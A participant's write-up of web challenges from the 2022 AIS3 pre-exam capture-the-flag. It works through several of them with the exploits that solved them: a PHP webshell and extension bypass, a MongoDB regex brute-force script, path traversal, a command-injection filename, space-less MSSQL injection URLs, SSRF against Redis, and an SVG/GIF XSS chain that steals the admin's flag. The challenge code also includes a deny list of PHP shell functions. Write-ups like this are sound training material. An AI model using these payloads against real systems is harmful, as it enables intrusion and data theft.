Introduction This article is the write up of 2022 AIS3 pre-exam. AIS3 is a security course held in Taiwan, and pre-exam is something like qualification test. This is my first time participate AIS3. Fortunately I passed the pre-exam, so maybe I will share some note or something after the course end(?).
And I could only solve web question, so that’s it :( Let’s start.
Questions Poking Bear
Solved 205/292 Interest ★ Difficulty ☆ New-knowledge ☆ Bear ★★★
There are a lot of buttons, so I checked out the href property. It’s like http://chals1.ais3.org:8987/bear/{num}
. And SECRET BEAR
has no number in the property. Because the numbers seems like no regular intervals, I wrote a script to find out what is the number of secret bear.
1 2 3 4 5 6 7 8 9 10 import requestsimport bs4START_INDEX = 351 END_INDEX = 776 for i in range (START_INDEX, END_INDEX): print (i) response = requests.get(f"http://chals1.ais3.org:8987/bear/{i} " ).text print (bs4.BeautifulSoup(response).find("h1" ).text.strip())
And found out the number is 499, but when I enter the url. I got:
So I checked out my cookie. 看一下 cookie,現在是 human,所以改成 bear poker。
Seems I am a human now, so changed it to bear poken
.
Works!
Simple File Uploader
Solved 92/292 Interest ★ Difficulty ☆ New-knowledge ☆ p…php ?? (((゚ Д ゚;))) ★★★
We can upload file to the website, so maybe a webshell question?
It already gave us source code, so let’s check it out first:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php if (isset ($_FILES ['file' ])) { $file_name = basename ($_FILES ['file' ]['name' ]); $file_tmp = $_FILES ['file' ]['tmp_name' ]; $file_type = $_FILES ['file' ]['type' ]; $file_ext = pathinfo ($file_name , PATHINFO_EXTENSION); if (in_array ($file_ext , ['php' , 'php2' , 'php3' , 'php4' , 'php5' , 'php6' , 'phtml' , 'pht' ])) { die ('p...php ?? (((゚Д゚;)))' ); } $box = md5 (session_start () . session_id ()); $dir = './uploads/' . $box . '/' ; if (!file_exists ($dir )) { mkdir ($dir ); } $is_bad = false ; $file_content = file_get_contents ($file_tmp ); $data = strtolower ($file_content ); if (strpos ($data , 'system' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'exec' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'passthru' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'show_source' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'proc_open' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'popen' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'pcntl_exec' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'eval' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'assert' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'die' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'shell_exec' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'create_function' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'call_user_func' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'preg_replace' ) !== false ) { $is_bad = true ; } else if (strpos ($data , 'scandir' ) !== false ) { $is_bad = true ; } if ($is_bad ) { die ('You are bad ヽ(#`Д´)ノ' ); } $new_filename = md5 (time ()) . '.' . $file_ext ; move_uploaded_file ($file_tmp , $dir . $new_filename ); echo ' <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected] /css/bulma.min.css"> <title>Simple File Uploader</title> </head> <body> <div class="container is-vcentered is-centered" style="max-width: 60%; padding-top: 10%;"> <article class="message"> <div class="message-header"> <p>Upload Success!</p> <button class="delete" aria-label="delete"></button> </div> <div class="message-body"> Upload /uploads/' . $box . '/' . $new_filename . ' </div> </article> </div> <body> </html> ' ;} else if (isset ($_GET ['src' ])) { show_source ("index.php" ); } else { echo file_get_contents ('home.html' ); }
Ok, we can bypass extension blacklist by pHp
, and use dynamic function name to bypass second blacklist. Upload a webshell:
1 2 <?php $_GET ['a' ]($_GET ['b' ]);
And executed it with:http://chals1.ais3.org:8988/uploads/{MY_WEB_SHELL}.pHp?a=system&b=/rUn_M3_t0_9et_fL4g
The Best Login UI
Solved 32/292 Interest ★★ Difficulty ★ New-knowledge ★★ Be…st.. UI ☆
The question provide the source code, so that’s it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();app.use (bodyParser.urlencoded ({ extended : true })); const PORT = process.env .PORT || 3000 ;const mongo = { host : process.env .MONGO_HOST || 'localhost' , db : process.env .MONGO_DB || 'loginui' , }; app.get ('/' , (_, res ) => { res.sendFile (__dirname + '/index.html' ); }); app.post ('/login' , async (req, res) => { const db = app.get ('db' ); const { username, password } = req.body ; const user = await db.collection ('users' ).findOne ({ username, password }); if (user) { res.send ('Success owo!' ); } else { res.send ('Failed qwq' ); } }); const MongoClient = require ('mongodb' ).MongoClient ;MongoClient .connect (mongo.host , (err, client ) => { if (err) throw err; app.set ('db' , client.db (mongo.db )); app.listen (PORT , () => console .log (`Listening on port ${PORT} ` )); });
Around line 19, it didn’t check input type. So we can input something like {'$regex': myRegex}
(regex of mongodb) instead of real password.
Write a script to BF password(that is: flag) with regex:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport stringflag = "AIS3{" charset = string.printable done = False while not done: for i in range (len (charset)): candidate = charset[i] escape_candidate = candidate if escape_candidate in "()*$+.?^\{\}[]|" : escape_candidate = "\\" + escape_candidate print (candidate) response = requests.post( "http://chals1.ais3.org:54088/login" , { "username" : "admin" , "password[$regex]" : flag + escape_candidate, }, ).text if response == "Success owo!" : flag += candidate if candidate == "}" : done = True break print (flag)
Just remember to escape some special characters to avoid error.(line 12) And everything is fine👍
TariTari
Solved 26/292 Interest ★★ Difficulty ★☆ New-knowledge ★ Disappointment ★★★ (When I saw a flag but not for me QQ)
Uploaded some file and got a response like:
1 2 3 4 <a href ="/download.php?file=ZjY0MGNjOWQ0ZTQwYzAwODliYmIxZjg1OGI2NWEwMmEudGFyLmd6& name=removed.png.tar.gz.tar.gz" > Download</a>
Try to change name
, but got a error:
Than let’s try another parameter. First decode the file
:
1 03 c 0 ec25 a3 cd7 de367 da1 ff7 c 5461e8 d.tar.gz
So maybe a path traversal here? Encoded ../../../etc/passwd
and filled in:
So it works, try to download index.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <h1>Tari</h1> <p>Tari is a service that converts your file into a .tar.gz archive.</p> <form action="/" method="POST" enctype="multipart/form-data" > <input type="file" name="file" /> <input type="submit" value="Upload" /> </form> <?php function get_MyFirstCTF_flag ( ) { echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}' ; } function tar ($file ) { $filename = $file ['name' ]; $path = bin2hex (random_bytes (16 )) . ".tar.gz" ; $source = substr ($file ['tmp_name' ], 1 ); $destination = "./files/$path " ; passthru ("tar czf '$destination ' --transform='s|$source |$filename |' --directory='/tmp' '/$source '" , $return ); if ($return === 0 ) { return [$path , $filename ]; } return [FALSE , FALSE ]; } if ($_SERVER ['REQUEST_METHOD' ] == 'POST' ) { $file = $_FILES ['file' ]; if ($file === NULL ) { echo "<p>No file was uploaded.</p>" ; } elseif ($file ['error' ] !== 0 ) { echo "<p>Error: Upload error.</p>" ; } else { [$path , $filename ] = tar ($file ); if ($path === FALSE ) { echo "<p>Error: Failed to create archive.</p>" ; } else { $path = base64_encode ($path ); $filename = urlencode ($filename ); echo "<a href=\"/download.php?file=$path &name=$filename .tar.gz\">Download</a>" ; } } }
There is a flag, but I am not the participant of MyFirstCTF QQ
So let’s try to abuse command injection next. Upload a file named qwe'; whoami; echo '
Nice!
And I tried to use ls /
to find out flag’s filename, but somehow it doesn’t work :( Maybe there’s a WAF or something?
So I bypassed /
with ${IFS}
:
1 qwe'; ls `echo${IFS}${PATH}|cut${IFS}-c1-1`;echo '
Bypass success! and just print out the flag
Cat Emoji Database
Solved 15/292 Interest ★★☆ Difficulty ★★☆ New-knowledge ★★☆ CATS😻 ★★★★★
It provided source code too:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from flask import Flask, request, redirect, jsonify, send_fileimport reapp = Flask(__name__) @app.before_request def fix_path (): trimmed = re.sub("\s+" , "" , request.path) if trimmed != request.path: return redirect(trimmed) @app.route("/" ) def index (): return send_file("index.html" ) @app.route("/api/all" ) def emojis (): cursor = db().cursor() cursor.execute("SELECT Name FROM Emoji" ) return jsonify(cursor.fetchall()) @app.route("/api/emoji/<unicode>" ) def api (unicode ): print ("SELECT * FROM Emoji WHERE Unicode = %s" % unicode) row = "" if row: return jsonify({"data" : row}) else : return jsonify({"error" : "Cat emoji not found" }) @app.route("/source" ) def source (): return send_file(__file__, mimetype="text/plain" )
So, seems like we need to do SQLi without the space.
Try get all cats:
It told us hint is in the secret_cat
emoji.
But we don’t have its id. So SQLi time:http://chals1.ais3.org:9487/api/emoji/(128006)or(id=3)
FLAG is in other table
, so we need to know what kind of db is this to do more.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SELECT+1,2,1,@@version,null)
Through @@version
, we knew it’s SQL Server.
So we can bypass space with %C2%A0
and some parentheses. This will show table_schema, table_name, and column_name, but only first table because of the fetchone()
in source code. And the first table is Emoji
. So that’s not table we need.http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.columns)
So let’s skip Emoji
table by WHERE
.http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.”columns”where”table_name”!=’Emoji’)
Found a table and column seems has flag, so let’s select it.http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),(m1ght_be_th3_f14g),(‘’),(‘’),(‘1’)%C2%A0from.s3cr3t_fl4g_in_th1s_t4bl3)
Got the flag successfully!
Private Browsing
Solved 4/292 Interest ★★☆ Difficulty ★★★ New-knowledge ★★★ What-a-pity ★★★
Looks like SSRF, so let’s try read source code.
http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php require_once 'session.php' ;class BrowsingSession { function __construct ( ) { $this ->history = []; } function push ($url ) { $this ->history[] = $url ; } function get_history ( ) { return $this ->history; } function clear_history ( ) { $this ->history = []; } static function new ( ) { return new BrowsingSession (); } } $session = SessionManager ::load_from_cookie ('sess_id' , ['BrowsingSession' , 'new' ]);if (!isset ($_GET ['action' ])) { die (); } $action = $_GET ['action' ];if ($action === 'view' && isset ($_GET ['url' ])) { header ("Content-Security-Policy: script-src 'none'" ); $url = $_GET ['url' ]; $session ->push ($url ); $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_exec ($ch ); curl_close ($ch ); } else if ($action === 'get_history' ) { header ('Content-Type: application/json' ); echo json_encode ($session ->get_history ()); } else if ($action === 'clear_history' ) { $session ->clear_history (); echo 'OK' ; }
and session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php $redis = new Redis ();$redis ->connect ('redis' , 6379 );class SessionManager { function __construct ($redis , $sessid , $fallback , $encode = 'serialize' , $decode = 'unserialize' ) { $this ->redis = $redis ; $this ->sessid = $sessid ; $this ->encode = $encode ; $this ->decode = $decode ; $this ->fallback = $fallback ; $this ->val = null ; } function get ( ) { if ($this ->val !== null ) { return $this ->val; } if ($this ->redis->exists ($this ->sessid)) { $this ->val = ($this ->decode)($this ->redis->get ($this ->sessid)); } else { $this ->val = ($this ->fallback)(); } return $this ->val; } function __destruct ( ) { global $redis ; if ($this ->val !== null ) { $redis ->set ($this ->sessid, ($this ->encode)($this ->val)); } } function __call ($name , $arguments ) { return $this ->get ()->{$name }(...$arguments ); } static function load_from_cookie ($name , $fallback ) { global $redis ; if (isset ($_COOKIE [$name ])) { $sessid = $_COOKIE [$name ]; } else { $sessid = bin2hex (random_bytes (10 )); setcookie ($name , $sessid ); } return new SessionManager ($redis , $sessid , $fallback ); } }
We found redis
service in session.php
line 2, so try get some info with dict
.
http://chals1.ais3.org:8763/api.php?action=view&url=dict://redis:6379/info
1 2 3 4 5 6 7 8 9 10 11 12 - ERR unknown subcommand 'libcurl'. Try CLIENT HELP.$4860 redis_version :7.0.0redis_git_sha1 :00000000redis_git_dirty :0redis_build_id :e7d3349b21c83e26redis_mode :standalone. . . // not gonna show all because too long :(
But when I tried to write file with redis, I found out some common commands were blocked.
Seems we need to change redis’s data by SSRF to control input of session.php
and exploiting unserialization vulnerabilities? but no time QQ
↑ This is my guess at the second day ended, but I have to work in the 3rd day of exam. So unfortunately I’m not able to solve all web question, maybe someday😥
There is the write up from the qeustion setter, seems really close to my assumption.
Gallery
Solved 4/292 Interest ★★★ Difficulty ★★★☆ New-knowledge ★★★ What-a-pity ★★★
Some source code from question:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from flask import Flask, render_template, request, redirect, url_for, g, session, send_fileimport sqlite3import secretsimport osimport uuidimport mimetypesimport pathlibfrom rq import Queuefrom redis import Redisapp = Flask(__name__) app.queue = Queue(connection=Redis('xss-bot' )) app.config.update({ 'SECRET_KEY' : secrets.token_bytes(16 ), 'UPLOAD_FOLDER' : '/data/uploads' , 'MAX_CONTENT_LENGTH' : 32 * 1024 * 1024 , }) IMAGE_EXTENSIONS = [ext for ext, type in mimetypes.types_map.items() if type .startswith('image/' )] ADMIN_PASSWORD = os.getenv('ADMIN_PASSWORD' , 'admin' ) FLAG_UUID = os.getenv('FLAG_UUID' , str (uuid.uuid4())) def db (): db = getattr (g, '_database' , None ) if db is None : db = g._database = sqlite3.connect('/tmp/db.sqlite3' ) db.row_factory = sqlite3.Row return db @app.before_first_request def create_tables (): cursor = db().cursor() cursor.executescript(""" CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT ); CREATE TABLE IF NOT EXISTS images ( id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT, title TEXT, filename TEXT, user_id INTEGER, FOREIGN KEY(user_id) REFERENCES users(id) ); """ ) cursor.execute("SELECT * FROM users WHERE username='admin'" ) if cursor.fetchone() == None : cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)" , ('admin' , ADMIN_PASSWORD)) admin_id = cursor.lastrowid cursor.execute("INSERT INTO images (user_id, uuid, filename, title) VALUES (?, ?, ?, ?)" , (admin_id, FLAG_UUID, FLAG_UUID+".png" , "FLAG" )) db().commit() @app.teardown_appcontext def close_connection (exception ): db = getattr (g, '_database' , None ) if db is not None : db.close() @app.after_request def add_csp (response ): response.headers['Content-Security-Policy' ] = ';' .join([ "default-src 'self'" , "font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com" ]) return response @app.route('/' ) def index (): if 'user_id' not in session: return redirect(url_for('login' )) cursor = db().cursor() cursor.execute("SELECT * FROM images WHERE user_id=?" , (session['user_id' ],)) images = cursor.fetchall() return render_template('index.html' , images=images) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'GET' : return render_template('login.html' ) else : username = request.form['username' ] password = request.form['password' ] if len (username) < 5 or len (password) < 5 : return render_template('login.html' , error="Username and password must be at least 5 characters long." ) cursor = db().cursor() cursor.execute("SELECT * FROM users WHERE username=?" , (username,)) user = cursor.fetchone() if user is None : user_id = cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)" , (username, password)).lastrowid session['user_id' ] = user_id db().commit() return redirect(url_for('index' )) elif user['password' ] == password: session['user_id' ] = user['id' ] return redirect(url_for('index' )) else : return render_template('login.html' , error="Invalid username or password" ) @app.route('/image/<uuid>' ) def view (uuid ): cursor = db().cursor() cursor.execute("SELECT * FROM images WHERE uuid=?" , (uuid,)) image = cursor.fetchone() if image: if image['user_id' ] != session['user_id' ] and session['user_id' ] != 1 : return "You don't have permission to view this image." , 403 return send_file(os.path.join(app.config['UPLOAD_FOLDER' ], image['filename' ])) else : return "Image not found." , 404 @app.route('/image/<uuid>/download' ) def download (uuid ): cursor = db().cursor() cursor.execute("SELECT * FROM images WHERE uuid=?" , (uuid,)) image = cursor.fetchone() if image: if image['user_id' ] != session['user_id' ] and session['user_id' ] != 1 : return "You don't have permission to download this image." , 403 return send_file(os.path.join(app.config['UPLOAD_FOLDER' ], image['filename' ]), as_attachment=True , mimetype='application/octet-stream' ) else : return "Image not found." , 404 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if 'user_id' not in session: return redirect(url_for('login' )) if request.method == 'GET' : return render_template('upload.html' ) else : title = request.form['title' ] or '(No title)' file = request.files['file' ] if file.filename == '' : return render_template('upload.html' , error="No file selected" ) extension = pathlib.Path(file.filename).suffix if extension not in IMAGE_EXTENSIONS: return render_template('upload.html' , error="File must be an image" ) image_uuid = str (uuid.uuid4()) filename = image_uuid + extension cursor = db().cursor() cursor.execute("INSERT INTO images (user_id, uuid, title, filename) VALUES (?, ?, ?, ?)" , (session['user_id' ], image_uuid, title, filename)) db().commit() file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return redirect(url_for('index' )) @app.route('/report' , methods=['GET' , 'POST' ] ) def report (): if 'user_id' not in session: return redirect(url_for('login' )) if request.method == 'GET' : return f''' <h1>Report to admin</h1> <p>注意:admin 會用 <code>http://web/</code> (而非 {request.url_root} 作為 base URL 來訪問你提交的網站。</p> <form action="/report" method="POST"> <input type="text" name="url" placeholder="URL ({request.url_root} ...)"> <input type="submit" value="Submit"> </form> ''' else : url = request.form['url' ] if url.startswith(request.url_root): url_path = url[len (request.url_root):] app.queue.enqueue('xssbot.browse' , url_path) return 'Reported.' else : return f"[ERROR] Admin 只看 {request.url_root} 網址"
We can bypass IMAGE_EXTENSIONS
white list and xss by uploaded a .svg
file.
After we can execute javascript code, we can get flag through above steps:
Upload a malicious image(which can execute js code)
Send 1.
‘s link to admin
Admin opens link, the code will do:
Get uuid of image of flag
Get image of flag as Blob
Login another account
Upload image of flag with 3.
‘s account
Login account that already has flag image
So, let’s start:
First, upload a gif with:(there are some magic header of GIF
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 GIF89a/* fetch('/' ).then((r )=>r.text()).then((r )=>r.match('[a-z0-9\-]{36}' )[0 ]).then((r )=>fetch('/image/' +r +'/download' ).then((r )=>r.blob()).then(function(r ){ fetch('/login' , { method: 'POST' , hearders: { 'Content-Type' : 'application/x-ww-form-urlencoded' }, body: new URLSearchParams({ 'username' : 'asdasd' , 'password' : 'asdasd' , }) }).then(function(_){ let formData = new FormData(); formData.append('title' , 'admin' ); formData.append('file' ,new Blob([r ], {type : 'image/jpeg' }), 'flag.jpg' ); fetch('/upload' , { method: 'POST' , body: formData }) }) }));
And upload a svg with(replace {PREV_GIF_UUID}
with first GIF
‘s uuid):
1 2 3 4 5 6 <?xml version="1.0" standalone="no" ?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" > <polygon id ="triangle" points ="0,0 0,50 50,0" fill ="#009900" stroke ="#004400" /> <script href ="/image/{PREV_GIF_UUID}/download" > </script > </svg >
to bypass CSP which is default-src 'self'
, because we include script from self :)
And send this svg’s view link to admin, then we can get image that admin uploaded to our account by heself!
Summary This time is my first time to participated a ctf seriously XD. But I need to work so I only participated 2 days(of 3 days), but at least I studied almost all web questions. Although it’s really tired but I actually learned a lot from those questions. Like MSSQL injection, MongoDB regex, Redis RCE(although not success, but I knew there is a way now XD) It also makes me super excited about AIS3😍!
References